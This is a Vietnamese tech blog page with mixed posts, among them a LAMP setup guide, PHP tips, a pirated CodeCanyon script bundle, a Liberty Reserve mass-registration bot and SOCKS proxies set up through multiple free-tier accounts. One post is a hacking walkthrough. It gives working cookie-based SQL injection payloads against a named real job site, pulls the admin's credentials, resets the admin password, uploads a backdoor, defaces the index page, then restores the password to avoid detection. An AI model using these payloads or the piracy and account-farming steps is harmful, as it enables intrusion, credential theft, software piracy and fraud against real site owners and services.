Chia sẻ thông tin

KenjiVN - Quốc Trưởng

Search This Blog

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Trưởng Nguyễn 's Blog

Chia sẻ kinh nghiệm, cung cấp những thông tin mới nhất về làng công nghệ. Chia sẻ những thủ thuật, những kiến thức hữu ích về công nghệ thông tin và truyền thông.

Showing posts with label Webmaster. Show all posts
Showing posts with label Webmaster. Show all posts

Sunday, August 4, 2013

Hướng dẫn tạo bản quyền ảnh Water Mark đơn giản

Hướng dẫn tạo bản quyền ảnh Water Mark đơn giản

B1: vào http://picmarkr.com
B2: Chọn ảnh cần add watermark
B3: Chọn kích cỡ ảnh sau khi add -> enter hoặc ấn Ok go Step
B4: Bạn điền thông tin cần add vào ảnh
B5: Các bạn có thể save ảnh vào máy tính hoặc up lên
các trang như Flickr, Facebook, Picasa

Mọi thắc mắc, góp ý các bạn có thể contact mình qua:
[email protected]
[email protected]
[email protected]

Hãy truy cập http://quoctruong.net và http://kenjivn.net
để tham khảo thêm!!!

Cám ơn các bạn đã theo dõi video!!

Tuesday, May 28, 2013

Hướng dẫn đưa iDevice trở về trạng thái sạch như lúc vừa jailbreak.


Trên kho Cydia vừa phát hành 1 công cụ mới mang tên ILEX RAT công cụ này cho phép chúng ta KHÔNG cần restore máy,nhưng sẽ thanh lý sạch sẽ những ứng dụng đã cài,tweak,source,thiết lập.v.v.....,đưa hệ thống trở về trạng thái ban đầu,sau đợt test của mình thì rút ra được hướng dẫn sau :
Thiết bị test : iPod touch gen 4thIOS : 5.1.1
1/. Cài đặt ILEX RAT :Trước tiên mình sẽ add thêm Source vào cydia, source : cydia.xsellize.com --- search : ILEX RAT --- tiến hành cài đặt , Respring máy.
2/. Cách sử dụng ILEX RAT :Ứng dụngILEX RAT luôn phải chạy cùng trình MobileTerminal (có thể search và cài đặt trên cydia) hoặc mình có thể sử dụng chức năng SSH trên iFunbox (phiên bản windows) hay SSH trên iTools (trên idevice phải cài thêm tweak OpenSSH) , sau đây sử dụngMobileTerminal để hướng dẫn.


Sau khi cài đặt ILEX RAT và MobileTerminal , mình chạy MobileTerminal

mình nhập : rat và nhấn return bên dưới bàn phím.

Sau đó nó sẽ cho ta 1 list với 10 lựa chọn như sau :
1. Remove All Cydia App Tweaks At Once.2. Remove All Tweaks Settings.3. Clear Cydia cache.4. Cydia troubleshooting.5. Cydia repair.6. Install or update - iLEX CYDIA TWEAKS PACK.7. Apply iLEX PACK settings.8. Restore icons arrangement state before update.9. Restore Notification Center state before update.10. Install DEB packages.Chúng ta chọn lựa chọn số 1 , ta nhập 1 và nhấn return .

Sẽ xuất hiện câu xác nhận,ta nhập y (chọn yes) rồi nhần return.

Xuất hiện cảnh báo là sẽ xoá sạch mọi ứng dụng tweak,source từ cydia. ta tiếp tục nhập y và nhấn return.

quá trình remove diễn ra,ta có thể thấy những dòng dữ liệu chạy như 1 thác nước.

Sau khi chạy xong lại có xuất hiện thông báo có remove mọi dữ liệu hay không,tiếp tục nhập y và nhấn return.

Sau khi xoá sạch mọi dữ liệu,sẽ có chỉ dẫn respring máy, log sẽ được lưu tại /tmp/rat.log
Sau khi respring thì đây là kết quả,ta sẽ thấy chỉ còn lại ứng dụng Cydia và những ứng dụng đi kèm theo máy,như 1 máy mới mà sau khi ta restore sạch và vừa jailbreak.
Kết luận : tất cả mọi tweak và thiết lập trong cydia đều được xoá sạch sẽ,những ứng dụng cài từ appstore vẫn được bảo lưu lại,và những thủ thuật can thiệp vào file hệ thống để làm đẹp máy của mình đã làm cũng không hề bị ảnh hưởng, và vấn đề chính là sau khi remove mọi thứ thì cả trình ILEX RAT cũng tự huỷ 1 thể sau khi hoàn thành nhiệm vụ .
Chú ý : Sau khi remove mọi thứ thì trong mục package sẽ xuất hiện nhiều tweak "lạ",và mục source lại trống rỗng,không sao ta chỉ cần vào change bấm refresh là xong.
Nhìn qua đối với 1 số bạn tuy có 1 độ khó nhất định nhưng mình nghỉ các bạn vẫn có thể làm được.
Các bạn có thể thảo luận trao đổi thêm tại đây,chúc các bạn thành công.

Monday, May 27, 2013

Hướng dẫn đăng ký tài khoản Perfect Money

Perfect Money (viết tắt là PM) là một dịch vụ ngân hàng trực tuyến cho phép người sử dụng thực hiện thanh toán tức thời và thực hiện các giao dịch chuyển tiền an toàn xuyên suốt trên mạng mở cơ hội hội nhập đến người sử dụng Internet và chủ sở hữu của các doanh nghiệp Internet.

Mục tiêu của Perfect Money là mang lại sự an toàn cho các giao dịch trên mạng Internet với mức lý tưởng!

Perfect Money với tính năng độc đáo cho các tài khoản kinh doanh và cá nhân. Khi sử dụng hệ thống thanh toán với Perfect Money bạn có thể:

Thực hiện chuyển tiền giữa các thành viên với nhau.
Nhận thanh toán trong các dự án kinh doanh khác nhau trên Internet.
Thực hiện thanh toán thường xuyên trên Internet.
Lưu trữ một cách an toàn quỹ tiền trên tài khoản điện tử và có được lợi ích hàng tháng.
Thực hiện thanh toán mua hàng và dịch vụ từ các cửa hàng mua bán trực tuyến trên Internet.
Perfect Money là một bank online rất rễ sử dụng, ko cần verify… rất giống Liberty Reserve (LR), ngoài ra còn có 1 số tinh năng tốt hơn LR đó là:

Có thể add thêm 5 tài khoản khác vào (giống kiểu add thêm mail ở AP và PP)
Khi login nó sẽ gửi mã PIN vào email

Hướng dẫn đăng ký tài khoản Perfect Money:

Click vào đây để đăng ký
điền thông tin:
Highslide JS

Account name: Nhập tên account mà bạn muốn (cái này không quan trọng lắm)
Name: Nhập tên thật của bạn (quan trọng)
City: Nhập tên thành phố đang sinh sống
Adress: Nhập địa chỉ hiện tại thật của bạn (quan trọng)
Country: Nhập quốc gia bạn đang sinh sống lâu dài (Vietnam)
State/Provine: Cái này bạn không bị buộc phải điền.
Zip/Postal code: Điền mã bưu chính nơi bạn đang ở – ở Hà Nội là 10000
Email: Nhập địa chỉ email của bạn (quan trọng)
Phone/Fax: Số phone/fax của bạn (không quan trọng)
Account type: Chọn Persernal (tài khoản cá nhân)
Password: Nhập mật khẩu của bạn bắt buộc phải bao gồm đồng thời có cả chữ và số (ko ký tự đặc biệt)
Retype password: Nhập lại mật khẩu ở trên để xác nhận độ chính xác
Turning number: Nhập chuỗi số giống như hình bên cạnh nó hiển thị
Đánh dấu vào ô I agree with term and conditions
Bấm nút Register

Nếu không thành công bạn sẽ không nhận được thông báo tạo tài khoản thành công này và bạn sẽ phải thực hiện lại chính xác các thao tác trên:

Perfect Money sẽ gửi tới email của bạn một thư với các thông tin tài khoản liên quan.

Để đăng nhập vào tài khoản bạn chọn Login:

Member ID: Nhập số ID tài khoản của bạn được gửi đến trong email ở trên đề cập.
Password: Nhập mật khẩu của bạn lúc đăng ký
Turing number: Nhập chuỗi số hiển thị ở hình bên

Đẻ nhận và chuyển tiền bạn phải vào My account để xem số tài khoản của mình (khác ID login nhé):

Nếu bạn  muốn nhận tiền là USD thì tài khoản của bạn có dạng U1234567
Nếu bạn muốn nhận tiền là Euro thì tài khoản của bạn có dạng là E1234567
Vậy là bạn đã tạo thành công tài khoản Perfect Money thành công. Ở Perfect Money không cần verify (xác nhận) tài khoản để sử dụng trọn vẹn mọi tính năng

Sau này khi bạn login (đăng nhập) bằng IP khác nó sẽ tự động gửi số PIN vào email của bạn, bạn chỉ cần vào mail lấy mã PIN điền vào là ok…

Chúc các bạn thành công!

Monday, May 20, 2013

Bộ sưu tập 76 code bem trên codecanyon.net

Cho các bác thích sưu tầm nè, bộ này iem tự bem nhé 

Link: 

Mediafire:
Tải về
Địa chỉ: Nhấn vào đây để tải về
Mật khẩu: Không có


or

Mega:
Tải về
Địa chỉ: Nhấn vào đây để tải về
Mật khẩu: Không có


or

Fshare:
Tải về
Địa chỉ: Nhấn vào đây để tải về
Mật khẩu: Không có


Mọi thắc mắc, yahoo: ray_rung VHC


Highslide JS

update thêm 1 link duy nhất nè

Tải về
Địa chỉ: Nhấn vào đây để tải về
Mật khẩu: Không có
_________________________________________

Friday, May 3, 2013

PDGL Box.Net 50G - Tool Auto Up 50G cho tài khoản Box.Net

PDGL Box.Net 50G. Tool auto Upgrade tài khoản box.net lên 50G miễn phí.
Sử dụng:
Download đúng phiên bản và giải nén, mở filePDGL Box.Net 50G

Highslide JS

Nhập email và password của tài khoản box.net, sau đó click Upgrade.
Nếu tool báo:You have successfully upgraded to 50 GB of storagethì tài khoản của bạn đã được Up lên 50G.
Đăng nhập và tận hưởng.

Yêu cầu:
Windows XP/Vista/7

Download:https://code.google.com/p/pdgl-box-50g/downloads/list
32Bit:https://code.google.com/p/pdgl-box-50g/downloads/detail?name=PDGL%20Box50G_x86.rar
64Bit:https://code.google.com/p/pdgl-box-50g/downloads/detail?name=PDGL%20Box50G_x64.rar

Nguồn:http://phongdatgl.biz/blog/read.php?796#ixzz2SDDW02RJ

Tuesday, October 16, 2012

Auto reg acc LR 2s/acc




Điền email -> bấm start



Điền capcha -> bấm submit 

Chỉnh sửa các biến trong file Liberty.ini


Trích:
[Info]
First_Name=KenjiVN
Last_Name=KenjiVN
Account_Name=KenjiVN
Hello_Msg=Hello
Secret_Question=5
; Secret question codes:
;1 = Mother's Maiden Name
;2 = City of Birth
;3 = Highschool Name
;4 = Name of first love
;5 = Favorite Pet
;6 = Favorite Book
;7 = Favorite TV Show
;8 = Favorite Movies
;9 = Favorite Flower
;10 = Favorite Color
Secret_Answer=other
Yên tâm là chả có log liếc gì ở đây cả 

Acc LR sẽ auto send về mail, pass có trong file LibertyAcc.txt

Download

Share code tuyển dụng đẹp good


code này mình tìm được trên mạng thấy hay nên share cho a e, không biết đã post chưa, huy vọng có ích cho các bạn .




Source+data
http://www.mediafire.com/?bva8uaav4wzx78b

Saturday, September 15, 2012

Cách cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

LAMP là chữ viết tắt thường được dùng để chỉ sự sử dụng các phần mềm Linux, Apache, MySQL và ngôn ngữ văn lệnh PHP hay Perl hay Python để tạo nên một môi trường máy chủ Web có khả năng chứa và phân phối các trang Web động. Bài viết sau sẽ hướng dẫn các bạn cài đặt máy chủ web Apache2 trên Ubuntu 11.10 server với PHP5 hỗ trợ cho mod_php và MySQL.

Lưu ý chung

Trong phần minh họa này chúng tôi sử dụng hostname server1.example.com với địa chỉ IP 192.168.0.23. Bạn có thể thay đổi sao cho phù hợp với mình.
Các bước sau cần chạy với quyền root, vì vậy bạn có thể chạy lệnh:
sudo su
để đăng nhập với quyền root.

Cài đặt MySQL 5

Đầu tiên chúng ta sử dụng lệnh sau để cài đặt MySQL 5:
apt-get install mysql-server mysql-client
Bạn sẽ được yêu cầu cung cấp một mật khẩu cho MySQL của user root – đây là mật khẩu có giá trị cho người dùng root@localhost cũng như r[email protected], vì thế chúng ta sẽ chỉ định một password cho MySQL:
New password for the MySQL “root” user: <– Mat khau root SQL
Repeat password for the MySQL “root” user: <– Mat khau root SQL

Cài đặt Apache2

Apache2 có sẵn trong gói Ubuntu, người dùng chỉ cần sử dụng lệnh sau để cài đặt:
apt-get install apache2
Bây giờ nhập vào đường dẫn http://192.168.0.23 trong trình duyệt của mình, bạn sẽ thấy trang của Apache2:
Apache2-ubuntu11.10
Theo mặc định, thư mục root của Apache2 thuộc /var/www trong Ubuntu, và tập tin cấu hình của nó là /etc/apache2/apache2.conf. Các cấu hình bổ sung được lưu trữ trong thư mục con của thư mục /etc/apache2, chẳng hạn /etc/apache2/mods-enabled (cho các module Apache), /etc/apache2/sites-enabled (cho virtual hosts), và /etc/apache2/conf.d.

Cài đặt PHP5

Chúng ta tiến hành cài đặt PHP5 và module Apache PHP5 bằng lệnh:
apt-get install php5 libapache2-mod-php5
Sau đó khởi động lại Apache:
/etc/init.d/apache2 restart

Thử nghiệm PHP5 và ghi nhận thông tin về quá trình cài đặt

Theo mặc định, thư mục root của website là /var/www. Chúng ta sẽ tạo một tập tin php nhỏ (info.php) trong thư mục này và gọi nó trên trình duyệt. Tập tin này sẽ hiển thị các thông tin hữu ích về trình cài đặt PHP, chẳng hạn như phiên bản của PHP hiện tại.
vi /var/www/info.php
<?php
phpinfo();
?>
Bây giờ chúng ta gọi file này trên trình duyệt (http://192.168.0.23/info.php).
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)
Với hình ảnh trên cho thấy PHP5 đang hoạt động thông qua Apache 2.0 Handler (hiển thị tại dòng Server API). Nếu di chuyển tiếp xuống bên dưới bạn sẽ thấy các module đã được kích hoạt trong PHP 5. MySQL không được liệt kê có nghĩa là PHP5 không hỗ trợ MySQL. Chúng ta khắc phục bằng cách dưới đây:

“Bắt” PHP5 hỗ trợ MySQL

Để MySQL được hỗ trợ trong PHP5, chúng ta cần cài đặt gói php5-mysql. Đây là việc làm tốt để cài đặt các module khác của PHP5 cũng như những ứng dụng cần thiết về sau.
Tìm kiếm những module có sẵn của PHP5:
apt-cache search php5
Chọn những gì cần cài đặt:
apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl
Cuối cùng restart Apache2:
/etc/init.d/apache2 restart
Bây giờ bạn hãy tải lại trang http://192.168.0.23/info.php trên trình duyệt của mình, kéo xuống dưới lần nữa bạn sẽ thấy những module mới, bao gồm cả MySQL:
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

phpMyAdmin

PhpMyAdmin là một giao diện web, thông qua đó bạn có thể quản lý cơ sở dữ liệu MySQL. Vì vậy khuyến cáo bạn nên cài đặt nó.
apt-get install phpmyadmin
Bạn sẽ nhận được câu hỏi sau:
web server to reconfigure automatically: <– nhập apache2
Configure database for phpmyadmin with dbconfig-common? <– nhập No
Sau đó bạn có thể truy cập vào phpMyAdmin theo http://192.168.0.23/phpmyadmin/:
Cài đặt Apache2 với PHP5 và hỗ trợ MySQL trên Ubuntu 11.10 (LAMP)

Các link tham khảo:


(Nguồn HowtoForge )

Tuesday, September 11, 2012

PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down




Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không

Ví dụ đoạn code mẫu

PHP Code:
<?php 
include("servermonitor.php");$Monitor = new ServerMonitor();$Monitor->add("Local server""sinhvienit.net"80);

echo 
$Monitor->run(true);
?>
Ở đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.php

PHP Code:
$Monitor->add("Local server""sinhvienit.net"80);  
Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của server

PHP Code:
$Monitor->setEmail("[email protected]");  
Khi server offline, script này sẽ gửi email thông báo đến bạn.

PHP Code:
foreach($results as $result){
    
$status $result->active "Online" "Offline";
    echo 
$result->name ': <strong>' $status '</strong><br />';
}  
Chạy vòng lặp để xuất ra kết quả tình trạng server


// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra
File Kèm Theo File Kèm Theo

Tuesday, August 28, 2012

Cách tạo socks private đơn giản cho bạn



Anh em đừng lạm dụng làm nó ban VN nhé

reg acc https://www.digitalocean.com
create droplets: centos 5 hoặc 6 đều ok nhé.
mỗi email 1 acc nhé.
dùng 1 gmail thêm các dấu . thành nhiều email hiện giờ vẫn dc, có thể nó sẽ kiểm tra sau.
Chờ 1-2 ph check mail nhận ip, password.
Connect vào bằng ssh client (sercure crt hoặc tunnelier hoặc putty hoặc...)
Run command:

Code:
echo y|ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa;cat ~/.ssh/id_rsa.pub > ~/.ssh/authorized_keys;ssh -fND 0.0.0.0:8888 -o StrictHostKeyChecking=no localhost
OK
Close kết nối.
Bạn đã có sock : ip:8888.
sock này vừa là socks4, socks4a,socks5 nhé
dùng 4 hay 5 đều được.
Nếu add vào Firefox bạn nên chọn socks v4 (vì socks v5 cần nhiều hơn 2 gói tin cho mỗi connection, chậm hơn socks4)

Sunday, August 26, 2012

Code backlink tăng rank tự nhiên



Vào đây đăng kí 1 nick rồi lấy ID về

http://www.e-referrer.com/

bạn có thể quan lý backlinks của mình trong web này cũng khá tốt
mở file index.php sửa lại
sitename.com = tên web của bạn
thay đoạn này bằng ID của bạn
<script type="text/javascript">
write_ref(111111);
</script>
xong code mình đã tích hợp nhiều seo của web khác auto nhiều backlink khá tốt không bị google cho vào dạng auto.

hàng đây
http://www.mediafire.com/?k4yayh9mud6czoy

Trao Đổi Backlink với mình tại:
http://kenjivn.net/backlink/ 

Tuesday, August 14, 2012

Giỡn chơi một tí: với hack website = javascript


Lâu quá hình như chưa có trương trình hack nèo coi đã mắt nên quyết định chỉ cho anh em mới vô nghề vài mánh để giởn chơi còn kết quả ra sao thì không nói trước có bị quánh thì đừng nói là của tui (vì nguồn st mà) đã thữ rồi kết quã tốt lắm. Nhưng nói trước nghe tuỳ vào IQ cua anh em như thế nào => kết quả như vậy. và mình không chỉ thêm bất cứ vấn đề gì trong chuyên mục này vì bái viết quá rõ, hướng dẫn tĩ mỹ và thật chi tiết và mình cũng đã test thử thấy kết quả là chính xác. Nên trước khi nói là làm không được thì các bạn nên xem lại cho thật kỹ mình đã làm như thế nào
VÔ VẤN ĐỀ
Đầu tiên bạn mở trang web victim lên !
Vào thanh Address chứa link trang web victim xóa sạch link , copy và pase vào đoạn code sau vào


Code:
javascript:document.body.contentEditable='true'; document.designMode='on'; void 0


Và bây giờ bạn có thể làm gì trang web của victim cũng đc , thao tác như notepad
(Và trên đây là minh chứng microsoft bị phá hủy trong nháy mắt)
Hiiiii anh em làm xong đừng nóng

cái này chỉ dành cho mấy mem yếu tim thôi. hi hi



bổ sung thêm cái Hack Web Bằng JavaScript-Inline




[SANITC] : Trong bài viết này mình sẽ giới thiệu với các bạn về kĩ thuật hack web chỉ dùng JavaScript. Với kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay Mozilla, ... Cơ bản về JavaScript-Inline^^

Đa số các trình duyệt web đều hổ trợ JavaScript-Inline.
Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:
Code:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:

Để xem giá trị hiện tại của cookie bạn gõ :
Code:
javascript:alert(document.cookie)
Hoặc
để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn gõ:
Code:
javascript:void(document.forms[0].hiddenid.value="2")
Mã nguồn HTML có đoạn như sau:
...

Code:
var a=unescape("%43%4f%44%45%5a");
Code:
function check(){if (document.a.c.value == a){document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".htm";}else{alert ("wrong! - letter size?");}}}

Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau:
Code:
javascript:alert(unescape(a)) để lấy password của level tiếp theo("CODEZ")

Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài khoản của "Gary Hunter" vào tài khoản "dropCash".
Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến hành chuyển tiền như sau:

Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào:
Code:
javascript:void(document.write('< name="the_" ="movemoney.php" method="post"><value="GaryWilliamHunter" name="FROM" ="">< value="dropCash"name="TO" ="">< value="10000000" name="AMOUNT" =""><value="Move Money To A Different Account" ="submit">'))
Đoạn JavaScript trên sẽ tạo một form với trường ẩn 

Code:
FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000
Bây giờ bạn thay đổi cookie lại như sau:
Code:
javascript:void(document.cookie="accountUsername=G aryWilliamHunter")javascript:void(document.cookie="accountPassword=G aryWilliamHunter")

Ấn nút "Move Money To A Different Account" một cái là xong.

Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn").
Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển tiền trong session của chúng ta
vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự là ai.

Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang web
http://www.mangvieclam.com/.

Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng javascript:alert(document.cookie) để xem cookie.

Ban có thể thay đổi thông tin cá nhân của một user bất kì trên mangvieclam.com bằng cách đổi lại cookie username như sau: javascript:void(document.cookie="username=tên user"), sau đó chọn mục "Cập nhập thông tin"

Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật khẩu", gõ dòng javascript:void(document.cookie="username=tên user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được và password mới, sau đó ấn nút "Thay đổi mật khẩu".

Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực thi:
Code:
Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien' or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả về true do điều kiện or '1'='1' đúng mặc dù password cũ sai

Code:
Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID = 'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user "trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'
Rất tiếc là lỗi này không thể khai thác trên
LINK :http://www.mangvieclam.com/
do lỗi lập trình.
Code:
Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien' or '1'='1' And Passwords = N'...' And Active = 1982
Tuy nhiên, website
LINK :http://www.mangvieclam.com/
dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của admin từ tblConfig như sau:
Code:
Đầu tiên mình lấy username bằng javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminid from tblconfig where accid=1))--"))
Chọn mục "Cập nhập thông tin"

Tên đăng nhâp của admin là 'ngtuan'

Tương tự mình lấy password của admin bằng

Code:
javascript:void(document.cookie="username="+escape ("' or 1=convert(int,(select adminpass from tblconfig where accid=1))--"))
Bây giờ mình đặt lại password mới là 'hacked'
HTML
Code:
<form action=http://www.mangvieclam.com/log.asp method=post>username: <input type=text name=username><br>password: <input type=password name=password><br><input type=hidden name=ChoseLogin value=3><input type=hidden name=mod value=1><input type=submit value=login></form>
Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ cho admin để tránh bị phát hiện:
Code:
javascript:void(document.cookie="username="+escape ("';update tblconfig set adminpass='...' where accid=1--"))
Một giải pháp cho mangvieclam.com là bạn nên chuyển biến Request.Cookies("UserName") thành biến phiên Session("UserName") để tránh bị giả mạo username như ở trên.

<---------THE END----------->
Chúc các bạn thành công. Nên nhớ rằng dùng để học hỏi không nên lấy để đi phá các bạn có thể tạo stile trên free host và áp dụng xem sao

Wednesday, August 8, 2012

Vài kinh nghiệm PHP căn bản

Cách sử dụng include và require
include và require là hàm để chèn một đoạn mã từ file khác trong hệ thống file local hoặc từ url nếu config allow_url_include được bật. Chúng khác nhau ở chỗ: khi dùng include, nếu file được chèn xảy ra lỗi thì chương trình vẫn tiếp tục chạy; còn với require, chương trình sẽ dừng ngay chỗ bị lỗi nếu nó xuất hiện trong file được chèn.
include_once và require_once cũng tương tự, chúng chỉ khác hai hàm trên là sẽ kiểm tra file đó đã được chèn trước đó chưa để đảm bảo những file đó chỉ được chèn một lần trong toàn bộ chương trình. Hai hàm này dùng chung vùng nhớ lưu thông tin included files nên nếu một file được chèn bởi include_once sẽ không được chèn lại bởi require_once. Điều này hữu ích khi chúng ta không thể biết chắc file đó đã được chèn hay chưa vì nếu chèn một file chứa hàm/lớp hai lần thì PHP sẽ báo lỗi khai báo lại hàm/lớp đó (Cannot redeclare...)
Theo những mô tả trên thì tôi luôn luôn chỉ sử dụng hai hàm require_once và include. require_once được dùng để chèn các file chỉ chứa lớp, hàm... và logic chương trình. Dữ liệu trong toàn bộ chương trình sẽ không được toàn vẹn nếu một file được chèn gặp lỗi mà nó vẫn tiếp tục, đó là lí do include_once không được sử dụng. include file được dùng để chèn các file HTML trong phần template. View layer không chứa mã logic nên không nhất thiết phải ngừng khi gặp lỗi.
Bốn hàm trên tuy là hàm nhưng cũng cũng có thể được dùng như những từ khóa: include 'a.php' hay include('a.php') đều được. Tuy nhiên theo khuyến cáo của PEAR thì nên sử dụng chúng như từ khóa (không chứa cặp dấu ngoặc).
Mở và đóng khối mã PHP
Nếu bạn không thể kiểm soát thiết lập short_open_tag trên server chứa ứng dụng thì nên luôn luôn sử dụng thẻ mở đầy đủ short_open_tag.
Trong các file được chèn, PHP không bắt buộc phải có thẻ đóng ?> ở cuối khối mã PHP. Sau khi đóng khối mã PHP thì các kí tự sau nó bắt đầu được in ra. Việc không sử dụng thẻ đóng ?> trong các file thư viện hàm/lớp sẽ tránh được việc in ra những kí tự vô tình không kiểm soát được như tab, xuống dòng, spaces... chúng sẽ làm các đoạn mã phía sau không thể modify header nữa, điều này đã từng gây khổ sở cho rất nhiều người mới làm quen PHP.
Và sau thẻ đóng ?> thì nên có ít nhất một dòng trống. Tôi không nhớ rõ tại sao, chỉ biết là nó giúp PHP engine hoạt động tối ưu hơn.
Dấu nháy đơn (') và nháy kép (")
Trong PHP thì dấu nháy đơn và nháy kép đều được dùng để đánh dấu chuỗi. Chỉ khác một điều là phía trong cặp dấu nháy kép thì vẫn có thể sử dụng biến từ bên ngoài còn nháy đơn thì không.
Ví dụ:

PHP Code:
$a '123';
echo 
"Print me: $a"// sẽ in ra Print me: 123echo 'Print me $a'// sẽ in ra nguyên chuỗi Print me $a 
Việc dùng nháy kép sẽ khiến trình thông dịch PHP tốn thêm công sức phân tích chuỗi trong nó để parse giá trị các biến dẫn đến tốn tài nguyên hơn nháy đơn. Bởi vậy trong các chuỗi thông thường không chứa biến tôi luôn dùng dấu nháy đơn. Không hiểu sao vẫn có rất nhiều người thích dùng dấu nháy kép để khai báo chuỗi trong khi dấu nháy đơn vừa tiết kiệm tài nguyên hệ thống vừa tiết kiệm sức người (vì không phải đè phím Shift )).
Tuy nhiên cũng tùy tình huống mà dùng cho hợp lí. Trong các câu lệnh SQL thì nên dùng nháy kép vì hầu hết các RDBMS đều dùng nháy đơn để đánh dấu chuỗi. Dùng nháy kép trong PHP ở đây sẽ giúp đoạn mã nhìn đỡ rối rắm hơn. Nếu echo HTML thì nên dùng nháy đơn vì giá trị của thuộc tính thẻ HTML được bọc bởi nháy kép. Hãy thử so sánh các câu SQL và HTML dưới đây:
PHP Code:
$sql "SELECT user_id FROM user WHERE user_first_name = 'John' AND user_company_name = 'John\'s'";$sql 'SELECT user_id FROM user WHERE user_first_name = \'John\' AND user_company_name = \'John\\\'s\'';
echo 
'<span style="color: green;">This is a good look</span>';
echo 
"<span style="">It's hard to read this</span>"
Biểu thức so sánh trong điều kiện khối lệnh if
PHP dùng dấu bằng (=) để gán giá trị cho biến, hằng và cặp dấu == trong so sánh bằng. Một đoạn mã dưới đây sẽ không gặp vấn đề gì:
PHP Code:
if ($string == 'a') {
    
// do something} else {
    
// do something else
Tuy nhiên nếu bất cẩn bạn quên mất một dấu bằng thì sẽ trở thành việc gán giá trị a cho biến $string chứ không phải so sánh $string với giá trị a nữa:
PHP Code:
if ($string 'a') {
    
// do something} else {
    
// do something else
Vì việc gán dữ liệu luôn thành công nên luôn trả lại giá trị true và cũng luôn luôn chỉ có đoạn lệnh "do something" được thực hiện còn "do something else" sẽ không bao giờ được thực thi.
Một cách đơn giản để tránh khỏi sự bất cẩn này là đặt giá trị cần so sánh phía trước và biến ở phía sau:
PHP Code:
if ('a' == $string) {
    
// do something} else {
    
// do something else
Nếu bạn quên mất một dấu "=" thì PHP sẽ báo lỗi ngay vì không thể gán giá trị cho một chuỗi tường minh
Tận dụng PHPDoc
Việc comment trong source sẽ khiến người phát triển sau hiểu được các đoạn mã viết gì. PHPDoc là các đoạn comment có quy tắc thường được đặt ở đầu file, trước class, thuộc tính, hằng, biến... để giúp PHPDocumentor tự động tạo document. Hầu hết các PHP IDEs phổ biến (Zend Studio, Eclipse PDT...) đều hỗ trợ PHPDoc. Chúng sẽ phân tích PHPDoc và đưa ra hướng dẫn gợi ý khi bạn gọi đến lớp hay hàm nào đó. Điều này hữu ích khi trong một project có hàng trăm hàm/lớp và bạn không thể nào nhớ tất cả chúng.
PHPDoc có một số quy tắc và cấu trúc bạn có thể tham khảo tại đây: http://manual.phpdoc.org/HTMLSmartyC..._tags.pkg.html.
Dưới đây là một ví dụ sử dụng PHPDoc:
PHP Code:
/**
 * Ducthuans: PHP code library developed by NGUYEN Duc Thuan
 *
 * @package     Ducthuans
